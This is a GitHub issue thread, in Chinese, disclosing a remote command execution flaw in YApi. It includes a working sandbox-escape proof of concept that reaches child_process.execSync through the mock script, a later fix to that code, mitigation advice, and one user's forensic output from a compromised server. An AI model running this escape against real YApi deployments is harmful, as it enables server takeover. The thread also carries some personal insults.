Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Yapi 存在远程命令执行漏洞 #2233

Closed
YekkoY opened this issue Jul 5, 2021 · 12 comments
Closed

Yapi 存在远程命令执行漏洞 #2233

YekkoY opened this issue Jul 5, 2021 · 12 comments

Comments

@YekkoY
Copy link

YekkoY commented Jul 5, 2021

版本号

最新的

什么问题

远程命令执行漏洞

如何复现此问题

登录注册后,创建一个项目
image
然后选择设置全局的mock脚本,设置命令为远程访问我的服务器地址。
image
随后添加接口,访问接口的mock地址
image
服务器可看到响应如下,远程服务器接受到请求
image

poc:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()

什么浏览器

~

什么系统(Linux, Windows, macOS)

@sunu11
Copy link

sunu11 commented Jul 7, 2021

老哥,这个风险得如何修复呢?

@Anbool
Copy link

Anbool commented Jul 7, 2021

老哥,这个风险得如何修复呢?

先把服务器全盘重装了,数据库一定要提前备份:
1、更改Yapi运行端口
2、使用Nginx对Yapi进行反向代理
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册
5、关闭Yapi Mock
关于第4、5条可参考:#2099

@sunu11
Copy link

sunu11 commented Jul 7, 2021

多谢,已经看了。

@Deep0
Copy link

Deep0 commented Jul 8, 2021

看样子还打算剽窃CVE?行吧。

@YekkoY YekkoY closed this as completed Jul 8, 2021
@pykiller
Copy link

pykiller commented Jul 9, 2021

别人一月份就写了,你个这发是打算嫖cve么😒

@bibotai
Copy link

bibotai commented Jul 9, 2021

https://github.com/YMFE/yapi/releases/tag/v1.9.2 这个releases搞错代码了吧 下载下来的源码sandbox还是用的vm

@neilli1024
Copy link

yapi 互助微信群
image

@jessezhang001
Copy link

YApi 是一个非常优秀的项目,只是基本没有维护了。

所以我们考虑新开一个分支(YApi Pro https://github.com/yapi-pro/yapi )接手维护,希望更多人能参与进来。
YApi Pro 是 YApi 的长期维护分支,我们将长期维护,及时更新、处理问题,欢迎更多社区的小伙伴一起参与。

@weishd
Copy link

weishd commented Jul 12, 2021

哎。。。被黑客利用这个漏洞攻击了。。。。清除了一天木马。暂时yapi先关闭了。

@Delphinidaee
Copy link

Poc: 的mockjson 需要J大写mockJson,不然报错。

@MorphyHu
Copy link

今天也中招了。现在的办法是屏蔽外网端口的访问。

[root@item-md 2569893]# ps aux |grep StsNveRdvFmjMjeYohLv
root 2569893 0.0 0.0 196 60 ? Ss Aug12 0:00 StsNveRdvFmjMjeYohLv
root 2569894 0.0 0.0 196 20 ? S Aug12 0:49 StsNveRdvFmjMjeYohLv
root 2783607 0.0 0.0 196 24 ? S 13:39 0:00 StsNveRdvFmjMjeYohLv
root 2790171 0.0 0.0 12112 2340 pts/2 S+ 14:28 0:00 grep --color=auto StsNveRdvFmjMjeYohLv
[root@item-md 2569893]# lsof -p 2569893
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
StsNveRdv 2569893 root cwd DIR 253,1 4096 33575041 /var
StsNveRdv 2569893 root rtd DIR 253,1 256 128 /
StsNveRdv 2569893 root txt REG 253,1 37928 33972581 /var/bi (deleted)
StsNveRdv 2569893 root 0u IPv4 65642561 0t0 TCP item-md:45294->stateful.r-udp.r-tcp.bytefend.com:9137 (ESTABLISHED)
StsNveRdv 2569893 root 3r DIR 0,4 0 1 /proc
StsNveRdv 2569893 root 4r REG 0,4 0 64658740 /proc/2569892/cmdline

[root@item-md lynis]# lsof -p 2585686 -n
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
e5q838q80 2585686 root cwd DIR 253,1 4096 469781342 /usr/local/yapi/vendors
e5q838q80 2585686 root rtd DIR 253,1 256 128 /
e5q838q80 2585686 root txt REG 253,1 191024 933247 /tmp/x86-x (deleted)
e5q838q80 2585686 root 0u IPv4 64769466 0t0 TCP 127.0.0.1:31212 (LISTEN)
e5q838q80 2585686 root 1u sock 0,9 0t0 64775750 protocol: UDP
e5q838q80 2585686 root 2r FIFO 0,13 0t0 64775752 pipe
e5q838q80 2585686 root 3r FIFO 0,13 0t0 64775753 pipe
e5q838q80 2585686 root 4u raw 0t0 64775754 00000000:0006->00000000:0000 st=07
[root@item-md lynis]# cd /proc/2585686
total 0
dr-xr-xr-x 9 root root 0 Aug 12 14:02 .
dr-xr-xr-x 236 root root 0 Nov 3 2020 ..
dr-xr-xr-x 2 root root 0 Aug 13 14:31 attr
-rw-r--r-- 1 root root 0 Aug 13 14:52 autogroup
-r-------- 1 root root 0 Aug 13 14:52 auxv
-r--r--r-- 1 root root 0 Aug 12 14:02 cgroup
--w------- 1 root root 0 Aug 13 14:52 clear_refs
-r--r--r-- 1 root root 0 Aug 12 14:02 cmdline
-rw-r--r-- 1 root root 0 Aug 12 14:02 comm
-rw-r--r-- 1 root root 0 Aug 13 14:52 coredump_filter
-r--r--r-- 1 root root 0 Aug 13 14:52 cpuset
lrwxrwxrwx 1 root root 0 Aug 12 22:42 cwd -> /usr/local/yapi/vendors
-r-------- 1 root root 0 Aug 12 16:52 environ
lrwxrwxrwx 1 root root 0 Aug 12 14:02 exe -> '/tmp/x86-x (deleted)'
dr-x------ 2 root root 0 Aug 12 14:03 fd
dr-x------ 2 root root 0 Aug 13 14:41 fdinfo
-rw-r--r-- 1 root root 0 Aug 13 14:52 gid_map
-r-------- 1 root root 0 Aug 13 14:52 io
-r--r--r-- 1 root root 0 Aug 13 14:52 limits
-rw-r--r-- 1 root root 0 Aug 13 14:52 loginuid
dr-x------ 2 root root 0 Aug 13 14:52 map_files
-r--r--r-- 1 root root 0 Aug 12 14:03 maps
-rw------- 1 root root 0 Aug 13 14:52 mem
-r--r--r-- 1 root root 0 Aug 13 14:52 mountinfo
-r--r--r-- 1 root root 0 Aug 13 14:52 mounts
-r-------- 1 root root 0 Aug 13 14:52 mountstats
dr-xr-xr-x 5 root root 0 Aug 13 14:52 net
dr-x--x--x 2 root root 0 Aug 13 14:30 ns
-r--r--r-- 1 root root 0 Aug 13 14:52 numa_maps
-rw-r--r-- 1 root root 0 Aug 13 14:52 oom_adj
-r--r--r-- 1 root root 0 Aug 13 14:52 oom_score
-rw-r--r-- 1 root root 0 Aug 13 14:52 oom_score_adj
-r-------- 1 root root 0 Aug 13 14:52 pagemap
-r-------- 1 root root 0 Aug 13 14:52 patch_state
-r-------- 1 root root 0 Aug 13 14:52 personality
-rw-r--r-- 1 root root 0 Aug 13 14:52 projid_map
lrwxrwxrwx 1 root root 0 Aug 13 14:41 root -> /
-rw-r--r-- 1 root root 0 Aug 13 14:52 sched
-r--r--r-- 1 root root 0 Aug 13 14:52 schedstat
-r--r--r-- 1 root root 0 Aug 13 14:52 sessionid
-rw-r--r-- 1 root root 0 Aug 13 14:52 setgroups
-r--r--r-- 1 root root 0 Aug 13 09:29 smaps
-r--r--r-- 1 root root 0 Aug 13 14:52 smaps_rollup
-r-------- 1 root root 0 Aug 13 14:52 stack
-r--r--r-- 1 root root 0 Aug 12 14:02 stat
-r--r--r-- 1 root root 0 Aug 13 12:10 statm
-r--r--r-- 1 root root 0 Aug 12 16:52 status
-r-------- 1 root root 0 Aug 13 14:52 syscall
dr-xr-xr-x 3 root root 0 Aug 13 14:34 task
-r--r--r-- 1 root root 0 Aug 13 14:52 timers
-rw-rw-rw- 1 root root 0 Aug 13 14:52 timerslack_ns
-rw-r--r-- 1 root root 0 Aug 13 14:52 uid_map
-r--r--r-- 1 root root 0 Aug 13 14:52 wchan

@kkin77
Copy link

kkin77 commented Sep 17, 2021

版本号

最新的

什么问题

远程命令执行漏洞

如何复现此问题

登录注册后,创建一个项目
image
然后选择设置全局的mock脚本,设置命令为远程访问我的服务器地址。
image
随后添加接口,访问接口的mock地址
image
服务器可看到响应如下,远程服务器接受到请求
image

poc:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()

什么浏览器

~

什么系统(Linux, Windows, macOS)

有点不要碧莲 还想嫖CVE?你跟死了妈一样。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests